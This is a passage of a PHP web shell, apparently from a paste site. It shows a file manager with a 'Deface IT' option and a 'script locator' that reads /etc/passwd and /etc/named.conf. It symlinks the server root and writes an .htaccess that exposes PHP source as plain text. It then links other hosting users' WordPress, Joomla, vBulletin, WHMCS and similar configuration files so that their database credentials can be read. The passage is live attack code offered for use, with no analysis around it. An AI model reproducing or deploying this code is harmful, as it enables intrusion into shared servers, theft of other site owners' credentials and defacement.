  1916. $gid = @getmygid();
  1917. $group = "?";
  1918. $owner = $uid . "/". $gid;
  1919. return $owner;
  1920. } else {
  1921. $name=@posix_getpwuid(@fileowner($value));
  1922. $group=@posix_getgrgid(@filegroup($value));
  1923. $owner = $name['name']. " / ". $group['name'];
  1924. return $owner;
  1925. }
  1926. }
  1927. if(!function_exists("scandir"))
  1928. {
  1929. function scandir($dir) {
  1930. $dh = opendir($dir);
  1931. while (false !== ($filename = readdir($dh)))
  1932. $files[] = $filename;
  1933. return $files;
  1934. }
  1935. }
  1936. function mainfun($dir)
  1937. {
  1938. global $ind, $directorysperator,$os;
  1939.  
  1940. $mydir = basename(dirname(__FILE__));
  1941. $pdir = str_replace($mydir,"",$dir);
  1942. $pdir = str_replace("/","",$dir);
  1943.  
  1944. $files = array();
  1945. $dirs = array();
  1946.  
  1947. $odir=opendir($dir);
  1948. while($file = readdir($odir))
  1949. {
  1950. if(is_dir($dir.'/'.$file))
  1951. {
  1952. $dirs[]=$file;
  1953. }
  1954. else
  1955. {
  1956. $files[]=$file;
  1957. }
  1958. }
  1959. $countfiles = count($dirs) + count($files);
  1960. $dircount = count($dirs);
  1961. $dircount = $dircount-2;
  1962. $myfiles = array_merge($dirs,$files);
  1963. $i = 0;
  1964. if(is_dir($dir))
  1965. {
  1966. if(scandir($dir) === false)
  1967. echo "<center><font size=3>Directory isn't readable</font></center>";
  1968. else
  1969. {
  1970. ?><form method="post" id="myform" name="myform">
  1971. <table id="maintable" style="width:100%;" align="center" cellpadding="3">
  1972. <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
  1973. <tr><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
  1974. <tr height:12px;">
  1975. <th>Name</th>
  1976. <th>Size</th>
  1977. <th>Permissions</th>
  1978. <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
  1979. <th>Modification Date</th>
  1980. <th>Rename</th>
  1981. <th>Download</th>
  1982. <th style="width:2%;">Action</th>
  1983. </tr>
  1984. <?php
  1985. foreach($myfiles as $val)
  1986. {
  1987. $vv = addslashes($dir . $directorysperator . $val);
  1988. $i++;
  1989. if($val == ".")
  1990. {
  1991. ?><tr class=lines><td><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
  1992. <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
  1993.  
  1994. <?php if($os != 'Windows')
  1995. {
  1996. echo "<td align=center><font size=2>";
  1997. echo getOGid($dir)."</font></td>";
  1998. }
  1999. ?>
  2000.  
  2001. <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
  2002. <td></td><td></td><td></td></</tr><?php
  2003.  
  2004. }
  2005. else if($val == "..")
  2006. {
  2007. $val = Trail($dir . $directorysperator . $val,$directorysperator);
  2008. $vv = addslashes($val);
  2009. if(empty($vv))
  2010. $vv = "/"; ?>
  2011. <tr class=lines><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
  2012. <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
  2013. <?php if($os != 'Windows')
  2014. {
  2015. echo "<td align=center><font size=2>";
  2016. echo getOGid($val)."</font></td>";
  2017.  
  2018. } ?>
  2019. <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
  2020. <td></td><td></td><td></td></tr><?php continue;
  2021. }
  2022. }
  2023. foreach($myfiles as $val)
  2024. {
  2025. $vv = addslashes($dir . $directorysperator . $val);
  2026. $i++;
  2027.  
  2028. if(is_dir($vv))
  2029. {
  2030. if($val == "." || $val == "..")
  2031. continue; ?>
  2032. <tr class=lines>
  2033. <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
  2034. <td class='info'><font size=2>DIR</font></td>
  2035.  
  2036. <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
  2037. <?php if($os != 'Windows')
  2038. {
  2039. echo "<td align=center><font size=2>";
  2040. echo getOGid($val)."</font></td>";
  2041. } ?>
  2042. <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  2043. <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
  2044. <td></td>
  2045. <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  2046. </tr></font>
  2047. <?php
  2048. }
  2049. else if(is_file($vv))
  2050. {
  2051. ?>
  2052. <tr class=lines>
  2053. <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
  2054.  
  2055. <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize($dir . $directorysperator . $val));?></font></td>
  2056.  
  2057. <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
  2058.  
  2059. <?php if($os != 'Windows')
  2060. {
  2061. echo "<td align=center><font size=2>";
  2062. echo getOGid($val)."</font></td>";
  2063. } ?>
  2064. <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
  2065.  
  2066. <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
  2067. <td class="info"><a href="<?php echo $self;?>?download=<?php echo $dir . $directorysperator .$val;?>"><font size=2>Download</font></a>
  2068. <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
  2069. </tr>
  2070. <p>
  2071. <?php
  2072. }
  2073. }
  2074.  
  2075. echo "</table>
  2076. <div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label> &nbsp;
  2077. <select class=sbox name=choice style='width: 100px;'>
  2078. <option value=delete>Delete</option>
  2079. <option value=chmod>Change mode</option>
  2080. if(class_exists('ZipArchive'))
  2081. { <option value=compre>Compress</option>
  2082. <option value=uncompre>Uncompress</option> }
  2083. </select>
  2084.  
  2085. <input type=button onClick=\"myaction(choice.value)\" value=Submit name=checkoption class=but></form></div>";
  2086. }}
  2087. else
  2088. {
  2089. echo "<p><font size=3>".$_GET['dir']." is <b>NOT</b> a Valid Directory!<br /></font></p>";
  2090. }
  2091.  
  2092. }
  2093. if(isset($_REQUEST["script"]))
  2094. {
  2095. $getpath = trim(dirname($_SERVER['SCRIPT_NAME']) . PHP_EOL);
  2096. ?>
  2097. <center><table><tr><td><a href=javascript:void(0) onClick="getdata('scserver')"><font class=txt size="4">| Use Server |</font></a></td>
  2098. <td><a href=javascript:void(0) onClick="getdata('scphp')"><font class=txt size="4">| Use PHP |</font></a></td>
  2099. </tr></table></center>
  2100. <?php
  2101. }
  2102. elseif(isset($_REQUEST["scserver"]))
  2103. {
  2104. ?><center><table><tr><td><a href=javascript:void(0) onClick="getdata('servermanuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
  2105. <td><a href=javascript:void(0) onClick="getdata('serverscriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
  2106. </tr></table></center><?php
  2107. }
  2108. else if(isset($_REQUEST['servermanuallyscript']))
  2109. {
  2110. ?>
  2111. <center>
  2112. <form action="<?php echo $self; ?>" method="post">
  2113. <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
  2114. <input type="button" OnClick="manuallyscriptfn('serverscriptlocator',passwd.value)" value="Get Config" class="but">
  2115. </form>
  2116. </center>
  2117. <?php
  2118. }
  2119. elseif(isset($_REQUEST['serverscriptlocator']))
  2120. {
  2121. if($os != "Windows")
  2122. {
  2123. $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2124. $path=explode('/',$url);
  2125. $url =str_replace($path[count($path)-1],'',$url);
  2126. if(isset($_REQUEST['passwd']))
  2127. {
  2128. $getetc = trim($_REQUEST['passwd']);
  2129.  
  2130. mkdir("dhanushSPT");
  2131. chdir("dhanushSPT");
  2132.  
  2133. $myfile = fopen("test.txt","w");
  2134.  
  2135. fputs($myfile,$getetc);
  2136. fclose($myfile);
  2137. echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Username</font></td><td align=center><font size=4 >Script</font></td></tr>";
  2138. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2139. while(!feof($file))
  2140. {
  2141. $s = fgets($file);
  2142. $matches = array();
  2143. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2144. $matches = str_replace("home/","",$matches[1]);
  2145. $hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
  2146. $headers=get_headers($hs_status);
  2147. if(strpos($headers[0],'200') == true )
  2148. $hs_script = "Wordpress";
  2149. $hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
  2150. $headers=get_headers($hs_status);
  2151. if(strpos($headers[0],'200') == true )
  2152. $hs_script = "Wordpress";
  2153. $hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
  2154. $headers=get_headers($hs_status);
  2155. if(strpos($headers[0],'200') == true )
  2156. $hs_script = "Joomla";
  2157. $hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
  2158. $headers=get_headers($hs_status);
  2159. if(strpos($headers[0],'200') == true )
  2160. $hs_script = "Vbulletin";
  2161. $hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
  2162. $headers=get_headers($hs_status);
  2163. if(strpos($headers[0],'200') == true )
  2164. $hs_script = "Vbulletin";
  2165. $hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
  2166. $headers=get_headers($hs_status);
  2167. if(strpos($headers[0],'200') == true )
  2168. $hs_script = "Mybb";
  2169. $hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
  2170. $headers=get_headers($hs_status);
  2171. if(strpos($headers[0],'200') == true )
  2172. $hs_script = "IPB";
  2173. $hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
  2174. $headers=get_headers($hs_status);
  2175. if(strpos($headers[0],'200') == true )
  2176. $hs_script = "SMF";
  2177. $hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
  2178. $headers=get_headers($hs_status);
  2179. if(strpos($headers[0],'200') == true )
  2180. $hs_script = "WHMCS";
  2181. echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2182. echo "<td align=center><font class=txt><a href=".$hs_status." target='_blank'>".$hs_script."</a></td></tr>";
  2183. $dcount++;
  2184. }
  2185. echo "</table>";
  2186. fclose($file);
  2187. unlink("test.txt");
  2188. }
  2189. else
  2190. {
  2191. $d0mains = @file("/etc/named.conf");
  2192. if($d0mains)
  2193. {
  2194. @mkdir("dhanush",0777);
  2195. @chdir("dhanush");
  2196. execmd("ln -s / root");
  2197. $file3 = 'Options all
  2198. DirectoryIndex Sux.html
  2199. AddType text/plain .php
  2200. AddHandler server-parsed .php
  2201. AddType text/plain .html
  2202. AddHandler txt .html
  2203. Require None
  2204. Satisfy Any
  2205. ';
  2206. $fp3 = fopen('.htaccess','w');
  2207. $fw3 = fwrite($fp3,$file3);
  2208. @fclose($fp3);
  2209. echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Site</font></td><td align=center><font size=4 >Script</font></td></tr>";
  2210. $dcount = 1;
  2211. foreach($d0mains as $d0main)
  2212. {
  2213. if(eregi("zone",$d0main))
  2214. {
  2215. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2216. flush();
  2217.  
  2218. if(strlen(trim($domains[1][0])) > 2)
  2219. {
  2220. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2221. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/wp-config.php";
  2222. $headers=get_headers($hs_status);
  2223. if(strpos($headers[0],'200') == true )
  2224. $hs_script = "Wordpress";
  2225. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/blog/wp-config.php";
  2226. $headers=get_headers($hs_status);
  2227. if(strpos($headers[0],'200') == true )
  2228. $hs_script = "Wordpress";
  2229. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/configuration.php";
  2230. $headers=get_headers($hs_status);
  2231. if(strpos($headers[0],'200') == true )
  2232. $hs_script = "Joomla";
  2233. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/forum/includes/config.php";
  2234. $headers=get_headers($hs_status);
  2235. if(strpos($headers[0],'200') == true )
  2236. $hs_script = "Vbulletin";
  2237. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/core/includes/config.php";
  2238. $headers=get_headers($hs_status);
  2239. if(strpos($headers[0],'200') == true )
  2240. $hs_script = "Vbulletin";
  2241. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/inc/config.php";
  2242. $headers=get_headers($hs_status);
  2243. if(strpos($headers[0],'200') == true )
  2244. $hs_script = "Mybb";
  2245. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/conf_global.php";
  2246. $headers=get_headers($hs_status);
  2247. if(strpos($headers[0],'200') == true )
  2248. $hs_script = "IPB";
  2249. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/settings.php";
  2250. $headers=get_headers($hs_status);
  2251. if(strpos($headers[0],'200') == true )
  2252. $hs_script = "SMF";
  2253. $hs_status=$url."dhanush/root/home/".$user['name']."/public_html/submitticket.php";
  2254. $headers=get_headers($hs_status);
  2255. if(strpos($headers[0],'200') == true )
  2256. $hs_script = "WHMCS";
  2257. echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td><a href=".$domains[1][0]." target='_blank'><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt><a href=".$hs_status." target=_blank>".$hs_user."</a></font></td></tr>"; flush();
  2258.  
  2259. $dcount++;
  2260. }
  2261. }
  2262.  
  2263. }
  2264. echo "</table>";
  2265. }
  2266. else
  2267. {
  2268. $TEST=@file('/etc/passwd');
  2269. if ($TEST)
  2270. {
  2271. @mkdir("dhanush",0777);
  2272. @chdir("dhanush");
  2273. execmd("ln -s / root");
  2274. $file3 = 'Options all
  2275. DirectoryIndex Sux.html
  2276. AddType text/plain .php
  2277. AddHandler server-parsed .php
  2278. AddType text/plain .html
  2279. AddHandler txt .html
  2280. Require None
  2281. Satisfy Any
  2282. ';
  2283. $fp3 = fopen('.htaccess','w');
  2284. $fw3 = fwrite($fp3,$file3);
  2285. @fclose($fp3);
  2286.  
  2287. echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
  2288.  
  2289. $dcount = 1;
  2290. $file = fopen("/etc/passwd", "r");
  2291. //Output a line of the file until the end is reached
  2292. while(!feof($file))
  2293. {
  2294. $s = fgets($file);
  2295. $matches = array();
  2296. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2297. $matches = str_replace("home/","",$matches[1]);
  2298. $hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
  2299. $headers=get_headers($hs_status);
  2300. if(strpos($headers[0],'200') == true )
  2301. $hs_script = "Wordpress";
  2302. $hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
  2303. $headers=get_headers($hs_status);
  2304. if(strpos($headers[0],'200') == true )
  2305. $hs_script = "Wordpress";
  2306. $hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
  2307. $headers=get_headers($hs_status);
  2308. if(strpos($headers[0],'200') == true )
  2309. $hs_script = "Joomla";
  2310. $hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
  2311. $headers=get_headers($hs_status);
  2312. if(strpos($headers[0],'200') == true )
  2313. $hs_script = "Vbulletin";
  2314. $hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
  2315. $headers=get_headers($hs_status);
  2316. if(strpos($headers[0],'200') == true )
  2317. $hs_script = "Vbulletin";
  2318. $hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
  2319. $headers=get_headers($hs_status);
  2320. if(strpos($headers[0],'200') == true )
  2321. $hs_script = "Mybb";
  2322. $hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
  2323. $headers=get_headers($hs_status);
  2324. if(strpos($headers[0],'200') == true )
  2325. $hs_script = "IPB";
  2326. $hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
  2327. $headers=get_headers($hs_status);
  2328. if(strpos($headers[0],'200') == true )
  2329. $hs_script = "SMF";
  2330. $hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
  2331. $headers=get_headers($hs_status);
  2332. if(strpos($headers[0],'200') == true )
  2333. $hs_script = "WHMCS";
  2334. echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2335. echo "<td align=center><font class=txt><a href=".$hs_status." target='_blank'>".$hs_script."</a></td></tr>";
  2336. $dcount++;
  2337. }
  2338. fclose($file);
  2339.  
  2340. echo "</table>";
  2341. }
  2342. else
  2343. {
  2344. @mkdir("dhanush",0777);
  2345. @chdir("dhanush");
  2346. execmd("ln -s / root");
  2347. $file3 = 'Options all
  2348. DirectoryIndex Sux.html
  2349. AddType text/plain .php
  2350. AddHandler server-parsed .php
  2351. AddType text/plain .html
  2352. AddHandler txt .html
  2353. Require None
  2354. Satisfy Any
  2355. ';
  2356. $fp3 = fopen('.htaccess','w');
  2357. $fw3 = fwrite($fp3,$file3);
  2358. @fclose($fp3);
  2359. echo "<table align=center border=1 style='width:40%;' class=tbl><tr><td align=center><font size=4>S. No.</font></td><td align=center><font size=4>Users</font></td><td align=center><font size=4>Script</font></td></tr>";
  2360. $temp = "";
  2361. $val1 = 0;
  2362. $val2 = 1000;
  2363. for(;$val1 <= $val2;$val1++)
  2364. {
  2365. $uid = @posix_getpwuid($val1);
  2366. if ($uid)
  2367. $temp .= join(':',$uid)."\n";
  2368. }
  2369. echo '<br/>';
  2370. $temp = trim($temp);
  2371.  
  2372. $file5 = fopen("test.txt","w");
  2373. fputs($file5,$temp);
  2374. fclose($file5);
  2375.  
  2376. $dcount = 1;
  2377. $file = fopen("test.txt", "r");
  2378. while(!feof($file))
  2379. {
  2380. $s = fgets($file);
  2381. $matches = array();
  2382. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2383. $matches = str_replace("home/","",$matches[1]);
  2384. $hs_status=$url."dhanush/root/home/".$matches."/public_html/wp-config.php";
  2385. $headers=get_headers($hs_status);
  2386. if(strpos($headers[0],'200') == true )
  2387. $hs_script = "Wordpress";
  2388. $hs_status=$url."dhanush/root/home/".$matches."/public_html/blog/wp-config.php";
  2389. $headers=get_headers($hs_status);
  2390. if(strpos($headers[0],'200') == true )
  2391. $hs_script = "Wordpress";
  2392. $hs_status=$url."dhanush/root/home/".$matches."/public_html/configuration.php";
  2393. $headers=get_headers($hs_status);
  2394. if(strpos($headers[0],'200') == true )
  2395. $hs_script = "Joomla";
  2396. $hs_status=$url."dhanush/root/home/".$matches."/public_html/forum/includes/config.php";
  2397. $headers=get_headers($hs_status);
  2398. if(strpos($headers[0],'200') == true )
  2399. $hs_script = "Vbulletin";
  2400. $hs_status=$url."dhanush/root/home/".$matches."/public_html/core/includes/config.php";
  2401. $headers=get_headers($hs_status);
  2402. if(strpos($headers[0],'200') == true )
  2403. $hs_script = "Vbulletin";
  2404. $hs_status=$url."dhanush/root/home/".$matches."/public_html/inc/config.php";
  2405. $headers=get_headers($hs_status);
  2406. if(strpos($headers[0],'200') == true )
  2407. $hs_script = "Mybb";
  2408. $hs_status=$url."dhanush/root/home/".$matches."/public_html/conf_global.php";
  2409. $headers=get_headers($hs_status);
  2410. if(strpos($headers[0],'200') == true )
  2411. $hs_script = "IPB";
  2412. $hs_status=$url."dhanush/root/home/".$matches."/public_html/settings.php";
  2413. $headers=get_headers($hs_status);
  2414. if(strpos($headers[0],'200') == true )
  2415. $hs_script = "SMF";
  2416. $hs_status=$url."dhanush/root/home/".$matches."/public_html/submitticket.php";
  2417. $headers=get_headers($hs_status);
  2418. if(strpos($headers[0],'200') == true )
  2419. $hs_script = "WHMCS";
  2420. echo "<tr><td align=center><font >" . $dcount . "</td><td align=center><font class=txt>" . $matches . "</td>";
  2421. echo "<td align=center><font class=txt><a href=".$hs_status." target='_blank'>".$hs_script."</a></td></tr>";
  2422. $dcount++;
  2423. }
  2424. fclose($file);
  2425. echo "</table>";
  2426. unlink("test.txt");
  2427. }
  2428. }
  2429. }
  2430. }
  2431. else
  2432. echo "<center>Cannot Get Scripts</center>";
  2433. }
  2434. elseif(isset($_REQUEST["scphp"]))
  2435. {
  2436. ?><center><table><tr><td><a href=javascript:void(0) onClick="getdata('phpmanuallyscript')"><font class=txt size="4">| Do It Manually |</font></a></td>
  2437. <td><a href=javascript:void(0) onClick="getdata('phpscriptlocator')"><font class=txt size="4">| Do It Automatically |</font></a></td>
  2438. </tr></table></center><?php
  2439. }
  2440. else if(isset($_REQUEST['phpmanuallyscript']))
  2441. {
  2442. ?>
  2443. <center>
  2444. <form action="<?php echo $self; ?>" method="post">
  2445. <textarea class="box" rows="16" cols="100" name="passwd"></textarea><br>
  2446. <input type="button" OnClick="manuallyscriptfn('phpscriptlocator',passwd.value)" value="Get Config" class="but">
  2447. </form>
  2448. </center>
  2449. <?php
  2450. }
  2451. else if(isset($_REQUEST['phpscriptlocator']))
  2452. {
  2453. if($os == "Linux")
  2454. {
  2455. $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2456. $path=explode('/',$url);
  2457. $url =str_replace($path[count($path)-1],'',$url);
  2458. function syml($usern,$pdomain)
  2459. {
  2460. symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  2461. symlink('/home/'.$usern.'/public_html/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
  2462. symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  2463. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2464. symlink('/home/'.$usern.'/public_html/vb/core/includes/config.php',$pdomain.'~~vBulletin5.txt');
  2465. symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  2466. symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2467. symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2468. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~ipb1.txt');
  2469. symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2470. symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2471. symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2472. symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2473. symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2474. symlink('/home/'.$usern.'/public_html/bb-config.php',$pdomain.'~~boxbilling.txt');
  2475. symlink('/home/'.$usern.'/public_html/billing/bb-config.php',$pdomain.'~~boxbilling.txt');
  2476. symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2477. symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2478. symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2479. symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2480. symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2481. symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2482. symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2483. symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2484. symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2485. symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  2486. symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  2487. symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2488. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  2489. symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  2490. symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2491. symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  2492. symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2493. symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2494. symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2495. }
  2496. if(isset($_REQUEST['passwd']))
  2497. {
  2498. $getetc = trim($_REQUEST['passwd']);
  2499.  
  2500. mkdir("dhanushSPT");
  2501. chdir("dhanushSPT");
  2502. $file3 = 'Options all
  2503. DirectoryIndex Sux.html
  2504. AddType text/plain .php
  2505. AddHandler server-parsed .php
  2506. AddType text/plain .html
  2507. AddHandler txt .html
  2508. Require None
  2509. Satisfy Any
  2510. ';
  2511. $fp3 = fopen('.htaccess','w');
  2512. $fw3 = fwrite($fp3,$file3);
  2513. @fclose($fp3);
  2514. $myfile = fopen("test.txt","w");
  2515. fputs($myfile,$getetc);
  2516. fclose($myfile);
  2517.  
  2518. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2519. while(!feof($file))
  2520. {
  2521. $s = fgets($file);
  2522. $matches = array();
  2523. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2524. $matches = str_replace("home/","",$matches[1]);
  2525. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2526. continue;
  2527. syml($matches,$matches);
  2528. }
  2529. fclose($file);
  2530. unlink("test.txt");
  2531. echo "<center><font class=txt size=3>[ Done ]</font></center>";
  2532. echo "<br><center><a href=".$url."dhanushSPT target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  2533.  
  2534. }
  2535. else
  2536. {
  2537. $d0mains = @file("/etc/named.conf");
  2538. if($d0mains)
  2539. {
  2540. mkdir("dhanushST");
  2541. chdir("dhanushST");
  2542. $file3 = 'Options all
  2543. DirectoryIndex Sux.html
  2544. AddType text/plain .php
  2545. AddHandler server-parsed .php
  2546. AddType text/plain .html
  2547. AddHandler txt .html
  2548. Require None
  2549. Satisfy Any
  2550. ';
  2551. $fp3 = fopen('.htaccess','w');
  2552. $fw3 = fwrite($fp3,$file3);
  2553. @fclose($fp3);
  2554. foreach($d0mains as $d0main)
  2555. {
  2556. if(eregi("zone",$d0main))
  2557. {
  2558. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2559. flush();
  2560.  
  2561. if(strlen(trim($domains[1][0])) > 2)
  2562. {
  2563. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2564.  
  2565. syml($user['name'],$domains[1][0]);
  2566. }
  2567. }
  2568. }
  2569. echo "<center><font class=txt size=3>[ Done ]</font></center>";
  2570. echo "<br><center><a href=".$url."dhanushST target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  2571. }
  2572. else
  2573. {
  2574. mkdir("dhanushSPT");
  2575. chdir("dhanushSPT");
  2576. $file3 = 'Options all
  2577. DirectoryIndex Sux.html
  2578. AddType text/plain .php
  2579. AddHandler server-parsed .php
  2580. AddType text/plain .html
  2581. AddHandler txt .html
  2582. Require None
  2583. Satisfy Any
  2584. ';
  2585. $fp3 = fopen('.htaccess','w');
  2586. $fw3 = fwrite($fp3,$file3);
  2587. @fclose($fp3);
  2588. $temp = "";
  2589. $val1 = 0;
  2590. $val2 = 1000;
  2591. for(;$val1 <= $val2;$val1++)
  2592. {
  2593. $uid = @posix_getpwuid($val1);
  2594. if ($uid)
  2595. $temp .= join(':',$uid)."\n";
  2596. }
  2597. echo '<br/>';
